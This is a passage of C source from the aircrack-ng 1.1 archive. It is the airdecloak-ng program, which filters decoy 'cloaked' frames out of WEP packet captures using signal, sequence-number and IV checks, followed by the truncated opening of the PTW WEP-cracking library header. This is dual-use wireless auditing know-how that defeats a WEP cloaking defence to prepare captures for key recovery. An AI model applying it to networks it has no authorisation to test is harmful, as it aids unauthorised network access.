_packet_elt_head->current->header.caplen > 65535 ) { printf( "Corrupted file? Invalid packet length %d.\n", _packet_elt_head->current->header.caplen ); break; } // Reset buffer memset(buffer, 0, 65536); // Read packet from file bytes_read = fread( buffer, 1, _packet_elt_head->current->header.caplen, _input_file ); if( bytes_read != (size_t) _packet_elt_head->current->header.caplen ) { printf("Error reading the file: read %lu bytes out of %d.\n", (unsigned long) bytes_read, _packet_elt_head->current->header.caplen); break; } stats.nb_read++; // Put all stuff in the packet header and // ---------------------------- Don't remove anything ---------------------- // ---------------------------- Just know where the packet start ----------- h80211 = buffer + start; // Know the kind of packet _packet_elt_head->current->frame_type = getBits(*h80211, 2, 2); #ifdef DEBUG printf("Frame type: %d\n", _packet_elt_head->current->frame_type); #endif _packet_elt_head->current->version_type_subtype = *h80211; #ifdef DEBUG printf("First byte: %x\n",*h80211); #endif // Filter out unknown packet types and control frames if (_packet_elt_head->current->frame_type != FRAME_TYPE_DATA && _packet_elt_head->current->frame_type != FRAME_TYPE_MANAGEMENT) { // Don't care about the frame if it's a control or unknown frame). if (_packet_elt_head->current->frame_type != FRAME_TYPE_CONTROL) { // Unknown frame type, log it //printf("Unknown frame type: %d\n", packet->frame_type); // ------------- May be interesting to put all those packets in a separate file } continue; } if (_packet_elt_head->current->frame_type == FRAME_TYPE_MANAGEMENT) { // Assumption: Management packets are not cloaked (may change in the future) _packet_elt_head->current->is_cloaked = VALID_FRAME_UNCLOAKED; } else if (_packet_elt_head->current->frame_type == FRAME_TYPE_DATA){ _packet_elt_head->current->is_cloaked = UKNOWN_FRAME_CLOAKING_STATUS; } // Retry bit _packet_elt_head->current->retry_bit = getBit(*(h80211+1), 3); // More fragments bit _packet_elt_head->current->more_fragments_bit = getBit(*(h80211+1), 2); if (_packet_elt_head->current->more_fragments_bit && _options_drop_fragments) { _packet_elt_head->current->is_dropped = 1; } // TODO: Get the speed from the packet if radiotap/prism header exist. // TODO: Get also the channel from the headers (the sensor may inject // cloaked frames on a channel is not the same as the AP) #ifdef DEBUG printf("Retry bit: %d\n", _packet_elt_head->current->retry_bit); printf("More fragments bit: %d\n", _packet_elt_head->current->more_fragments_bit); #endif /*------------------------------- drop if control frame (does not contains SN) ----------------------*/ // TODO: We should care about control frames since they are not cloaked // and they can be usefull for signal filtering (have a better average). /* check the BSSID */ switch( h80211[1] & 3 ) { case 0: // To DS = 0, From DS = 0: DA, SA, BSSID (Ad Hoc) memcpy( _packet_elt_head->current->destination, h80211 + 4, 6 ); memcpy( _packet_elt_head->current->source, h80211 + 10, 6 ); memcpy( _packet_elt_head->current->bssid, h80211 + 16, 6 ); _packet_elt_head->current->fromDS = 0; _packet_elt_head->current->toDS = 0; break; case 1: // To DS = 1, From DS = 0: BSSID, SA, DA (To DS) memcpy( _packet_elt_head->current->bssid, h80211 + 4, 6 ); memcpy( _packet_elt_head->current->source, h80211 + 10, 6 ); memcpy( _packet_elt_head->current->destination, h80211 + 16, 6 ); _packet_elt_head->current->fromDS = 0; _packet_elt_head->current->toDS = 1; break; case 2: // To DS = 0, From DS = 1: DA, BSSID, SA (From DS) memcpy( _packet_elt_head->current->destination, h80211 + 4, 6 ); memcpy( _packet_elt_head->current->bssid, h80211 + 10, 6 ); memcpy( _packet_elt_head->current->source, h80211 + 16, 6 ); _packet_elt_head->current->fromDS = 1; _packet_elt_head->current->toDS = 0; break; case 3: // To DS = 1, From DS = 1: RA, TA, DA, SA (WDS) memcpy( _packet_elt_head->current->source, h80211 + 24, 6 ); memcpy( _packet_elt_head->current->bssid, h80211 + 10, 6 ); memcpy( _packet_elt_head->current->destination, h80211 + 16, 6 ); _packet_elt_head->current->fromDS = 1; _packet_elt_head->current->toDS = 1; break; } #ifdef DEBUG printf("From DS: %d - ToDS: %d\n", _packet_elt_head->current->fromDS, packet->toDS); printf("BSSID: %02X:%02X:%02X:%02X:%02X:%02X\n", _packet_elt_head->current->bssid[0], _packet_elt_head->current->bssid[1], _packet_elt_head->current->bssid[2], _packet_elt_head->current->bssid[3], _packet_elt_head->current->bssid[4], _packet_elt_head->current->bssid[5]); printf("Source: %02X:%02X:%02X:%02X:%02X:%02X\n", _packet_elt_head->current->source[0], _packet_elt_head->current->source[1], _packet_elt_head->current->source[2], _packet_elt_head->current->source[3], _packet_elt_head->current->source[4], _packet_elt_head->current->source[5]); printf("Dest: %02X:%02X:%02X:%02X:%02X:%02X\n", _packet_elt_head->current->destination[0], _packet_elt_head->current->destination[1], _packet_elt_head->current->destination[2], _packet_elt_head->current->destination[3], _packet_elt_head->current->destination[4], _packet_elt_head->current->destination[5]); #endif // Filter out packets not belonging to our BSSID if ( memcmp( _packet_elt_head->current->bssid, _bssid, 6)) { // Not the BSSID we are looking for //printf("It's not the BSSID we are looking for.\n"); continue; } // Grab sequence number and fragment number _packet_elt_head->current->sequence_number = ((h80211[22]>>4)+(h80211[23]<<4)); // 12 bits _packet_elt_head->current->fragment_number = getBits(h80211[23], 4,4); // 4 bits // drop frag option if (_options_drop_fragments && _packet_elt_head->current->fragment_number) { _packet_elt_head->current->is_dropped = 1; } #ifdef DEBUG printf("Sequence: %d - Fragment: %d\n", _packet_elt_head->current->sequence_number, _packet_elt_head->current->fragment_number); #endif // Get the first beacon and search for WEP only // if not (data) wep, stop completely processing (_is_wep) if (_packet_elt_head->current->frame_type == FRAME_TYPE_MANAGEMENT) { // Get encryption from beacon/probe response if( h80211[0] == BEACON_FRAME || h80211[0] == PROBE_RESPONSE ) { if( ( h80211[34] & 0x10 ) >> 4 ) { _is_wep = 1; // Make sure it's not WPA // TODO: See airodump-ng around line 1500 } else { // Completely stop processing printf("FATAL ERROR: The network is not WEP (byte 34: %d)\n.", h80211[34]); exit(1); } } } if (_packet_elt_head->current->frame_type == FRAME_TYPE_DATA) { // Copy IV memcpy(_packet_elt_head->current->iv, (h80211 + 24), 3); #ifdef DEBUG printf("IV: %X %X %X\n", _packet_elt_head->current->iv[0], _packet_elt_head->current->iv[1], _packet_elt_head->current->iv[2]); #endif // Copy key index _packet_elt_head->current->key_index = h80211[27]; #ifdef DEBUG printf("Key index: %d\n", packet->key_index); #endif // Copy checksum memcpy(_packet_elt_head->current->icv, buffer + (_packet_elt_head->current->header.caplen) - 4, 4); #ifdef DEBUG printf("ICV: %X %X %X %X\n", _packet_elt_head->current->icv[0], _packet_elt_head->current->icv[1], _packet_elt_head->current->icv[2], _packet_elt_head->current->icv[3]); #endif } else { // Management packet (control packets were filtered out. _packet_elt_head->current->iv[0] = _packet_elt_head->current->iv[1] = _packet_elt_head->current->iv[2] = 0; _packet_elt_head->current->key_index = 0; _packet_elt_head->current->icv[0] = _packet_elt_head->current->icv[1] = _packet_elt_head->current->icv[2] = _packet_elt_head->current->icv[3] = 0; #ifdef DEBUG printf("Not a data packet thus no IV, no key index, no ICV\n"); #endif } // Copy the packet itself _packet_elt_head->current->packet = (unsigned char *) malloc(_packet_elt_head->current->header.caplen); memcpy(_packet_elt_head->current->packet, buffer, _packet_elt_head->current->header.caplen); // Copy signal if exist _packet_elt_head->current->signal_quality = -1; if (_pfh_in.linktype == LINKTYPE_PRISM_HEADER) { // Hack: pos 0x44 (at least on madwifi-ng) _packet_elt_head->current->signal_quality = buffer[0x44]; } else if (_pfh_in.linktype == LINKTYPE_RADIOTAP_HDR) { _packet_elt_head->current->signal_quality = get_rtap_signal( _packet_elt_head->current->header.caplen); } #ifdef DEBUG printf("Signal quality: %d\n", _packet_elt_head->current->signal_quality); #endif // Append to the list #ifdef ONLY_FIRST_PACKET puts("!!! Don't forget to append"); break; #else set_node_complete(); #endif } remove_last_uncomplete_node(); printf("Nb packets: %d \n", _packet_elt_head->nb_packets); return true; } void reset_current_packet_pointer() { _packet_elt_head->current = _packet_elt_head->first; } BOOLEAN reset_current_packet_pointer_to_ap_packet() { reset_current_packet_pointer(); return next_packet_pointer_from_ap(); } BOOLEAN reset_current_packet_pointer_to_client_packet() { reset_current_packet_pointer(); return next_packet_pointer_from_client(); } BOOLEAN next_packet_pointer_from_ap() { while (_packet_elt_head->current->toDS != 0) { if (next_packet_pointer() == false) { return false; } } if (_packet_elt_head->current->toDS == 0) { return true; } else { return false; } } BOOLEAN next_packet_pointer_from_client() { while (_packet_elt_head->current->toDS == 0) { if (next_packet_pointer() == false) { return false; } } if (_packet_elt_head->current->toDS == 1) { return true; } else { return false; } } BOOLEAN next_packet_pointer() { BOOLEAN success = false; // Go to next packet if not the last one if (_packet_elt_head->current != _packet_elt_head->last) { _packet_elt_head->current = _packet_elt_head->current->next; success = true; } return success; } BOOLEAN prev_packet_pointer() { BOOLEAN success = false; // Go to next packet if not the last one if (_packet_elt_head->current != _packet_elt_head->first) { _packet_elt_head->current = _packet_elt_head->current->prev; success = true; } return success; } int compare_SN_to_current_packet(struct packet_elt * packet) { if (_packet_elt_head->current->sequence_number > packet->sequence_number) { // Current packet SN is superior to packet SN return 1; } else if (_packet_elt_head->current->sequence_number < packet->sequence_number) { // Current packet SN is inferior to packet SN return -1; } // Identical return 0; } BOOLEAN current_packet_pointer_same_fromToDS_and_source(struct packet_elt * packet) { BOOLEAN success = false; if (_packet_elt_head->current->fromDS == packet->fromDS && _packet_elt_head->current->toDS == packet->toDS) { if (packet->fromDS == 1 && packet->toDS ==0) { // Coming from the AP, no other check needed // (BSSID check already done when creating this list) success = true; } else { // Also check MAC source if (maccmp(packet->source, _packet_elt_head->current->source) == 0) { success = true; } } } else if (packet->fromDS == 0 && packet->toDS == 0) { // Beacons (and some other packets) coming from the AP (both from and toDS are 0). if (_packet_elt_head->current->fromDS == 1 && _packet_elt_head->current->toDS == 0) { success = true; } } return success; } BOOLEAN prev_packet_pointer_same_fromToDS_and_source(struct packet_elt * packet) { BOOLEAN success = false; while (success == false && prev_packet_pointer()) { success = current_packet_pointer_same_fromToDS_and_source(packet); } return success; } BOOLEAN next_packet_pointer_same_fromToDS_and_source(struct packet_elt * packet) { BOOLEAN success = false; // !!! Now we only have the packets from the BSSID. while (success == 0 && next_packet_pointer()) { success = current_packet_pointer_same_fromToDS_and_source(packet); } return success; } BOOLEAN prev_packet_pointer_same_fromToDS_and_source_as_current() { return prev_packet_pointer_same_fromToDS_and_source(_packet_elt_head->current); } BOOLEAN next_packet_pointer_same_fromToDS_and_source_as_current() { return next_packet_pointer_same_fromToDS_and_source(_packet_elt_head->current); } int CFC_with_valid_packets_mark_others_with_identical_sn_cloaked() { // This filtered 1148 packets on a 300-350K capture (~150K were cloaked) // Filtering was done correctly, all packets marked as cloaked were really cloaked). struct packet_elt * current_packet; int how_far, nb_marked; puts("Cloaking - Marking all duplicate SN cloaked if frame is valid or uncloaked"); // Start from the begining (useful comment) reset_current_packet_pointer(); nb_marked = 0; do { // We should first check for each VALID_FRAME_UNCLOAKED or CLOAKED_FRAME packet // PACKET_CHECKING_LENGTH packets later (ONLY NEXT PACKETS) // and if one of the packet has an identical SN, mark it as CLOAKED if (_packet_elt_head->current->is_cloaked != VALID_FRAME_UNCLOAKED && _packet_elt_head->current->is_cloaked != CLOAKED_FRAME) { // Go to next packet if frame is not valid continue; } current_packet = _packet_elt_head->current; //printf("Trying current packet: %d,%d (SN: %d)\n", current_packet->fromDS, current_packet->toDS, current_packet->sequence_number); //print_packet(_packet_elt_head->current); how_far = 0; while (++how_far <= PACKET_CHECKING_LENGTH && next_packet_pointer_same_fromToDS_and_source(current_packet) == true ) { switch (_packet_elt_head->current->is_cloaked) { case VALID_FRAME_UNCLOAKED: case CLOAKED_FRAME: // Status known, so go to next frame break; case POTENTIALLY_CLOAKED_FRAME: //puts("CFC_with_valid_packets_mark_others_cloaked() - Invalid frame status found: POTENTIALLY_CLOAKED_FRAME"); break; // Should never happen here case UKNOWN_FRAME_CLOAKING_STATUS: //printf("Found unknown cloaking status frame, checking it - tested: %d,%d (SN: %d)\n", // _packet_elt_head->current->fromDS, _packet_elt_head->current->toDS, _packet_elt_head->current->sequence_number); if (compare_SN_to_current_packet(current_packet) == 0) { _packet_elt_head->current->is_cloaked = CLOAKED_FRAME; ++nb_marked; } break; } } // Go back to the current packet _packet_elt_head->current = current_packet; } while (next_packet_pointer() == 1); // Reset packet pointer so that next usages of current packet // will start from the begining (in case it's forgotten). reset_current_packet_pointer(); printf("%d frames marked\n", nb_marked); return nb_marked; } int CFC_filter_duplicate_sn_ap() { int nb_packets = 0; puts("Cloaking - Removing the duplicate SN for the AP"); reset_current_packet_pointer(); return nb_packets; } int CFC_filter_duplicate_sn_client() { int nb_packets = 0; puts("Cloaking - Removing the duplicate SN for the client"); reset_current_packet_pointer(); return nb_packets; } int CFC_filter_duplicate_sn() { // This will remove a lot of legitimate packets unfortunatly return CFC_filter_duplicate_sn_ap() + CFC_filter_duplicate_sn_client(); } int get_average_signal_ap() { long all_signals; long nb_packet_used; int average_signal; // Init all_signals = nb_packet_used = 0; average_signal = -1; // Check if signal quality is included if (_pfh_in.linktype == LINKTYPE_PRISM_HEADER || _pfh_in.linktype == LINKTYPE_RADIOTAP_HDR) { if (reset_current_packet_pointer_to_ap_packet() == true) { // Calculate signal for all beacons and probe response (and count number of packets). do { if (_packet_elt_head->current->version_type_subtype == BEACON_FRAME || _packet_elt_head->current->version_type_subtype == PROBE_RESPONSE) { ++nb_packet_used; all_signals += _packet_elt_head->current->signal_quality; } } while (next_packet_pointer_same_fromToDS_and_source(_packet_elt_head->current) == true); // Calculate the average if (nb_packet_used > 0) { average_signal = (int)(all_signals / nb_packet_used); if ( ((all_signals/ (double)nb_packet_used) - average_signal) * 100 > 50) { ++average_signal; } } printf("Average signal for AP packets: %d\n", average_signal); } else { puts("Average signal: No packets coming from the AP, cannot calculate it"); } } else { puts("Average signal cannot be calculated because headers does not include it"); } // Return return average_signal; } /** * Filter packets based on signal. * * Use signal from all beacons, make an average * This will allow to find out what packet are legitimate (coming from the AP) and thus removing cloaked packets * By being able to remove cloaked packets, we'll find out the signal of the sensor(s) * //and we'll be able to filter out the cloaked packets of clients. * * Enh: use signal from packets marked uncloaked instead of beacons. * * @return Number of frames marked cloaked. */ int CFC_filter_signal() { // Maximum variation of the signal for unknown status frame and potentially cloaked frames (up & down) #define MAX_SIGNAL_VARIATION 3 #define MAX_SIGNAL_VARIATION_POTENTIALLY_CLOAKED 2 int average_signal; int nb_packets = 0; puts("Cloaking - Signal filtering"); // 1. Get the average signal average_signal = get_average_signal_ap(); if (average_signal > 0) { reset_current_packet_pointer_to_ap_packet(); // Will be successful because signal > 0 do { switch (_packet_elt_head->current->is_cloaked) { case POTENTIALLY_CLOAKED_FRAME: // Max allowed variation for potentially cloaked packet is a bit lower // than the normal variation if (abs(_packet_elt_head->current->signal_quality - average_signal) > MAX_SIGNAL_VARIATION_POTENTIALLY_CLOAKED) { _packet_elt_head->current->is_cloaked = CLOAKED_FRAME; ++nb_packets; break; } case UKNOWN_FRAME_CLOAKING_STATUS: // If variation is > max allowed variation, it's a cloaked packet if (abs(_packet_elt_head->current->signal_quality - average_signal) > MAX_SIGNAL_VARIATION) { _packet_elt_head->current->is_cloaked = CLOAKED_FRAME; ++nb_packets; break; } if (_packet_elt_head->current->signal_quality - average_signal == 0) { // If there's no variation, I'm sure it's not a cloaked packet _packet_elt_head->current->is_cloaked = VALID_FRAME_UNCLOAKED; } else { // We could play with POTENTIALLY_CLOAKED frame depending on the variation // but currently, it's unloacked if inferior to the max allowed signal _packet_elt_head->current->is_cloaked = VALID_FRAME_UNCLOAKED; } break; case VALID_FRAME_UNCLOAKED: break; case CLOAKED_FRAME: break; default: break; } } while (next_packet_pointer_same_fromToDS_and_source_as_current() == true); } // TODO: Do it also for clients: Calculate the average for know cloaked frames // (each frame marked cloaked here) and then filter out wep cloaked frames. // or implement it as another filter (since clients may have the same signal // as the sensor). // Return return nb_packets; } int CFC_filter_consecutive_sn() { int nb_packets = 0; puts("Cloaking - Consecutive SN filtering"); nb_packets = CFC_filter_consecutive_sn_ap() + CFC_filter_consecutive_sn_client(); return nb_packets; } int CFC_filter_consecutive_sn_ap() { int nb_packets = 0; BOOLEAN next_packet_result = false; puts("Cloaking - Consecutive SN filtering (AP)"); // Filtering for the client is not easy at all, maybe we can base on the fact that wep cloaking clone everything in the packet // except the data (and ofc the SN). // So, atm filtering for the AP only (hoping the client is not uploading data ;)) reset_current_packet_pointer_to_ap_packet(); // Go to the first beacon or probe response. while ( !(_packet_elt_head->current->version_type_subtype == BEACON_FRAME && _packet_elt_head->current->version_type_subtype == PROBE_RESPONSE) ) { next_packet_result = next_packet_pointer_same_fromToDS_and_source_as_current(); // Check if we didn't reach end of capture. if (next_packet_result == false) { break; } } // If end of capture, no packets have been filters. if (next_packet_result == false) { return 0; } puts("NYI"); return nb_packets; } int CFC_filter_consecutive_sn_client() { int nb_packets = 0; puts("Cloaking - Consecutive SN filtering (Client)"); // For consecutive SN of the client, if packets are cloaked, we can rely on null frames or probe request/association request. reset_current_packet_pointer_to_client_packet(); // while puts("Not yet implemented"); return nb_packets; } int CFC_filter_duplicate_iv() { unsigned char * ivs_table; int nb_packets = 0; puts("Cloaking - Duplicate IV filtering"); ivs_table = (unsigned char *) calloc(16777215, 1); if (ivs_table == NULL) { puts("Failed to allocate memory for IVs table, exiting"); exit(-1); } // 1. Get the list of all IV values (and number of duplicates reset_current_packet_pointer(); do { if (_packet_elt_head->current->frame_type == FRAME_TYPE_DATA) { // In the array, there's as much elements as the number of possible IVs // For each IV, increase by 1 the value of the IV position so that we can // know if it was used AND the number of occurences. *(ivs_table + get_iv(_packet_elt_head->current)) += 1; } } while (next_packet_pointer() == true); // 2. Remove duplicates reset_current_packet_pointer(); do { if (_packet_elt_head->current->frame_type == FRAME_TYPE_DATA) { switch (_packet_elt_head->current->is_cloaked) { case POTENTIALLY_CLOAKED_FRAME: // If the frame is potentially cloaked, mark it as cloaked if (*(ivs_table + get_iv(_packet_elt_head->current)) > 1) { _packet_elt_head->current->is_cloaked = CLOAKED_FRAME; ++nb_packets; } case UKNOWN_FRAME_CLOAKING_STATUS: // If unknown status, mark it as potentially cloaked if (*(ivs_table + get_iv(_packet_elt_head->current)) > 1) { _packet_elt_head->current->is_cloaked = POTENTIALLY_CLOAKED_FRAME; } break; case VALID_FRAME_UNCLOAKED: break; case CLOAKED_FRAME: break; default: break; } } } while (next_packet_pointer() == true); return nb_packets; } char * status_format(int status) { size_t len = 19; char * ret = (char *) calloc(1, (len + 1) * sizeof(char)); switch (status) { case VALID_FRAME_UNCLOAKED: strncpy(ret, "uncloacked", len); break; case CLOAKED_FRAME: strncpy(ret, "cloaked", len); break; case POTENTIALLY_CLOAKED_FRAME: strncpy(ret, "potentially cloaked", len); break; case UKNOWN_FRAME_CLOAKING_STATUS: strncpy(ret, "unknown cloaking", len); break; default: snprintf(ret, len + 1,"type %d", status); break; } ret = (char *)realloc(ret, strlen(ret) +1); return ret; } int CFC_mark_all_frames_with_status_to(int original_status, int new_status) { int nb_marked = 0; char * from, *to; from = status_format(original_status); to = status_format(new_status); printf("Cloaking - Marking all %s status frames as %s\n", from, to); free(from); free(to); reset_current_packet_pointer(); do { if (_packet_elt_head->current->is_cloaked == original_status) { _packet_elt_head->current->is_cloaked = new_status; ++nb_marked; } } while (next_packet_pointer() == 1); printf("%d frames marked\n", nb_marked); return nb_marked; } int CFC_filter_signal_duplicate_and_consecutive_sn() { int nb_marked = 0; // This filter does not call all other filters but does a lot of checks // and depending on these check decide if a packet is cloaked or not puts("Cloaking - Filtering all packet with signal, duplicate and consecutive SN filters"); puts("Not yet implemented"); return nb_marked; } // When checking do it on packet with the same direction (ToFroDS: 10 or 01) // WDS/Ad hoc not implemented yet /** * Check for cloaking and mark the status all packets (Cloaked or uncloaked). */ BOOLEAN check_for_cloaking() { int cur_filter; int cur_filters = _filters; puts("Cloaking - Start check"); // Parse all packets, then for each packet marked valid (or cloaked), check forward if any packet has // an unknown status and same SN. If it's the case, mark the current packet CLOAKED if (_options_disable_base_filter == 0) { //CFC_with_valid_packets_mark_others_with_identical_sn_cloaked(); CFC_base_filter(); } // Apply all filter requested by the user in the requested order // but do not forget to warn when there's no filter given. while (cur_filters != 0) { cur_filter = cur_filters % 10; cur_filters /= 10; switch (cur_filter) { case FILTER_SIGNAL: CFC_filter_signal(); break; case FILTER_DUPLICATE_SN: CFC_filter_duplicate_sn(); break; case FILTER_DUPLICATE_SN_AP: CFC_filter_duplicate_sn_ap(); break; case FILTER_DUPLICATE_SN_CLIENT: CFC_filter_duplicate_sn_client(); break; case FILTER_CONSECUTIVE_SN: CFC_filter_consecutive_sn(); break; case FILTER_DUPLICATE_IV: CFC_filter_duplicate_iv(); break; case FILTER_SIGNAL_DUPLICATE_AND_CONSECUTIVE_SN: CFC_filter_signal_duplicate_and_consecutive_sn(); break; case 0: puts("0 is not a valid filter number"); exit(1); default: printf("Filter %d not yet implemented\n", cur_filter); exit(1); } } // Marking of all unknown status packets uncloaked (MUST BE AT THE END) CFC_mark_all_frames_with_status_to(UKNOWN_FRAME_CLOAKING_STATUS, VALID_FRAME_UNCLOAKED); // ... and the potentially cloaked cloaked CFC_mark_all_frames_with_status_to(POTENTIALLY_CLOAKED_FRAME, CLOAKED_FRAME); return true; } // Return 1 on success BOOLEAN write_packets() { // Open files ... FILE * invalid_status_file = init_new_pcap("invalid_status.pcap"); _output_cloaked_packets_file = init_new_pcap(_filename_output_cloaked); _output_clean_capture_file = init_new_pcap(_filename_output_filtered); // ... and make sure opening was ok ... if (_output_clean_capture_file == NULL) { printf("FATAL ERROR: Failed to open pcap for filtered packets\n"); if (_output_cloaked_packets_file != NULL) { fclose(_output_cloaked_packets_file); } return false; } // ... for both. if (_output_cloaked_packets_file == NULL) { printf("FATAL ERROR: Failed to open pcap for cloaked packets\n"); fclose(_output_clean_capture_file); return false; } puts("Writing packets to files"); reset_current_packet_pointer(); do { switch (_packet_elt_head->current->is_cloaked) { case CLOAKED_FRAME: write_packet(_output_cloaked_packets_file, _packet_elt_head->current); break; case VALID_FRAME_UNCLOAKED: if (_packet_elt_head->current->is_dropped == 0) { write_packet(_output_clean_capture_file, _packet_elt_head->current); } break; default: // Write them somewhere else write_packet(invalid_status_file, _packet_elt_head->current); printf("Error: Invalid packet cloaking status: %d\n", _packet_elt_head->current->is_cloaked); break; } } while (next_packet_pointer() == true); puts("End writing packets to files"); // Close files fclose(_output_cloaked_packets_file); fclose(_output_clean_capture_file); fclose(invalid_status_file); return true; } // Return 1 on success BOOLEAN print_statistics() { return true; } void usage() { printf("\n" " %s - (C) 2008, 2009 Thomas d\'Otreppe\n" " http://www.aircrack-ng.org\n" "\n" " usage: airdecloak-ng [options]\n" "\n" " options:\n" "\n" " Mandatory:\n" " -i : Input capture file\n" " --ssid : ESSID of the network to filter\n" " or\n" " --bssid : BSSID of the network to filter\n" "\n" " Optional:\n" " --filters : Apply filters (separated by a comma). Filters:\n" " signal: Try to filter based on signal.\n" " duplicate_sn: Remove all duplicate sequence numbers\n" " for both the AP and the client.\n" " duplicate_sn_ap: Remove duplicate sequence number for\n" " the AP only.\n" " duplicate_sn_client: Remove duplicate sequence number for the\n" " client only.\n" " consecutive_sn: Filter based on the fact that IV should\n" " be consecutive (only for AP).\n" " duplicate_iv: Remove all duplicate IV.\n" " signal_dup_consec_sn: Use signal (if available), duplicate and\n" " consecutive sequence number (filtering is\n" " much more precise than using all these\n" " filters one by one).\n" " --null-packets : Assume that null packets can be cloaked.\n" " --disable-base_filter : Do not apply base filter.\n" //" --disable-retry : Disable retry check, don't care about retry bit.\n" " --drop-frag : Drop fragmented packets\n" "\n" " --help : Displays this usage screen\n" "\n", getVersion("Airdecloak-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); } int main( int argc, char *argv[] ) { int temp, option; BOOLEAN tempBool; char * input_filename; char * input_bssid; char * filter_name; // Initialize input_bssid = NULL; input_filename = NULL; _is_wep = -1; _output_cloaked_packets_file = NULL; _output_clean_capture_file = NULL; _input_file = NULL; memset(_bssid, 0, 6); _filters = 0; // Parse options while( 1 ) { int option_index = 0; static struct option long_options[] = { {"essid", 1, 0, 'e'}, {"ssid", 1, 0, 'e'}, {"bssid", 1, 0, 'b'}, {"help", 0, 0, 'h'}, {"filter", 1, 0, 'f'}, {"filters", 1, 0, 'f'}, {"null-packets", 0, 0, 'n'}, {"null-packet", 0, 0, 'n'}, {"null_packets", 0, 0, 'n'}, {"null_packet", 0, 0, 'n'}, {"no-base-filter", 0, 0, 'a'}, {"disable-base-filter", 0, 0, 'a'}, {"disable-retry", 0, 0, 'r'}, {"drop-frag", 0, 0, 'd'}, {"input", 1, 0, 'i'}, {0, 0, 0, 0 } }; option = getopt_long( argc, argv, "e:b:hf:nbrdi:", long_options, &option_index ); if( option < 0 ) break; switch( option ) { case ':' : printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); case '?' : printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); case 'a': _options_disable_base_filter = 1; break; case 'i': input_filename = optarg; break; case 'b': if (getmac(optarg, 1, _bssid)) { puts("Failed to parse MAC address"); exit(1); } input_bssid = optarg; // make sure it was converted successfully break; case 'f': // Filters filter_name = strtok(optarg, ","); temp = 1; while (filter_name != NULL) { if (strcmp(filter_name, "signal") == 0 || atoi(filter_name) == FILTER_SIGNAL) { _filters = _filters + (FILTER_SIGNAL * temp); } else if (strcmp(filter_name, "duplicate_sn") == 0 || atoi(filter_name) == FILTER_DUPLICATE_SN) { _filters = _filters + (FILTER_DUPLICATE_SN * temp); } else if (strcmp(filter_name, "duplicate_sn_ap") == 0 || atoi(filter_name) == FILTER_DUPLICATE_SN_AP) { _filters = _filters + (FILTER_DUPLICATE_SN_AP * temp); } else if (strcmp(filter_name, "duplicate_sn_client") == 0 || atoi(filter_name) == FILTER_DUPLICATE_SN_CLIENT) { _filters = _filters + (FILTER_DUPLICATE_SN_CLIENT * temp); } else if (strcmp(filter_name, "consecutive_sn") == 0 || atoi(filter_name) == FILTER_CONSECUTIVE_SN) { _filters = _filters + (FILTER_CONSECUTIVE_SN * temp); } else if (strcmp(filter_name, "duplicate_iv") == 0 || atoi(filter_name) == FILTER_DUPLICATE_IV) { _filters = _filters + (FILTER_DUPLICATE_IV * temp); } else if (strcmp(filter_name, "signal_dup_consec_sn") == 0 || atoi(filter_name) == FILTER_SIGNAL_DUPLICATE_AND_CONSECUTIVE_SN) { _filters = _filters + (FILTER_SIGNAL_DUPLICATE_AND_CONSECUTIVE_SN * temp); } else { usage(); puts("Invalid filter name"); exit(1); } temp *= 10; filter_name = strtok(NULL, ","); } break; case 'd': _options_drop_fragments = 1; break; case 'r': _options_disable_retry = 1; case 'n': _options_assume_null_packets_uncloaked = 1; case 'e': printf("'%c' option not yet implemented\n", option); exit(0); break; case 'h': usage(); exit(0); break; } } if (input_filename == NULL) { usage(); puts("Missing input file"); exit(1); } // Add options (some are mandatory, some are optional). /* Mandatory: -i file: input file --ssid ESSID (or --essid or --ssid) or -b BSSID (or --bssid or --ap) Optional: -f (--filters/--filter) Available filters: * signal: Tries to filter based on the signal (AP never/is not supposed to moves thus ...) * duplicate_sn: remove all duplicate SN * duplicate_sn_ap/duplicate_sn_client: remove all duplicate SN from the AP/Client * consecutive_sn: filter based on the fact that IV should be consecutive (only for AP). Several filters can be used and you can choose the order of application of these filters (that will impact the results). --null-packets: Do not assume that null packets are not cloaked. --no-base_filter: do not apply base filter. --disable-retry: disable retry check, don't care about retry bit. --drop-frag: Drop fragmented packets */ printf("Input file: %s\n", input_filename); printf("BSSID: %s\n", input_bssid); puts(""); // Open capture file puts("Opening file"); _input_file = open_existing_pcap(input_filename); if (_input_file == NULL) { return 1; } // Create output filenames temp = strlen( input_filename ); _filename_output_cloaked = (char *) calloc(temp + 9 + 5, 1); _filename_output_filtered = (char *) calloc(temp + 10 + 5, 1); while (--temp > 0) { if (input_filename[temp] == '.') break; } // No extension if (temp == 0) { snprintf(_filename_output_cloaked, strlen( input_filename ) + 9 + 5, "%s-cloaked.pcap", input_filename); snprintf(_filename_output_filtered, strlen( input_filename ) + 10 + 5, "%s-filtered.pcap", input_filename); } else { strncpy(_filename_output_cloaked, input_filename, strlen( input_filename ) + 9 + 5 - 1); strncpy(_filename_output_filtered, input_filename, strlen( input_filename ) + 10 + 5 - 1); strncat(_filename_output_cloaked, "-cloaked.pcap", 14); strncat(_filename_output_filtered, "-filtered.pcap", 15); } printf("Output packets (valids) filename: %s\n", _filename_output_filtered); printf("Output packets (cloaked) filename: %s\n", _filename_output_cloaked); // 1. Read all packets and put the following in a linked list: // Data and management packets only (filter out control packets) // Packets where BSSID is the address given in parameter // When we find a beacon, make sure the network is WEP puts("Reading packets from file"); tempBool = read_packets(); fclose(_input_file); if (tempBool != true) { printf("Failed reading packets: %d\n", temp); return 1; } // 2. Go thru the list and mark all cloaked packets puts("Checking for cloaked frames"); tempBool = check_for_cloaking(); if (tempBool != true) { printf("Checking for cloaking failed: %d\n", temp); return 1; } // 3. Write all data to output files // Write packets puts("Writing packets to files"); tempBool = write_packets(); if (tempBool != true) { printf("Writing packets failed: %d\n", temp); return 1; } // 4. Print some statistics // - Is the network using WEP? // - WEP cloaking in action? // - Clients MACs // - Number of data packets for the BSSID // Number of good packets kept // Number of cloaked packets removed // - File names print_statistics(); return 0; } aircrack-ng-1.1/src/aircrack-ptw-lib.h0000644000000000000000000000425311136170232016325 0ustar rootroot/* * Copyright (c) 2007, 2008, 2009 Erik Tews, Andrei Pychkine and Ralf-Philipp Weinmann. * */ #ifndef _AIRCRACK_PTW_H_ #define _AIRCRACK_PTW_H_ #include // Number of bytes we use for our table of seen IVs, this is (2^24)/8 #define PTW_IVTABLELEN 2097152 // How many sessions do we use to check if a guessed key is correct // 10 seems to be a reasonable choice // Its now the number of sessions for selecting 10 at a random position #define 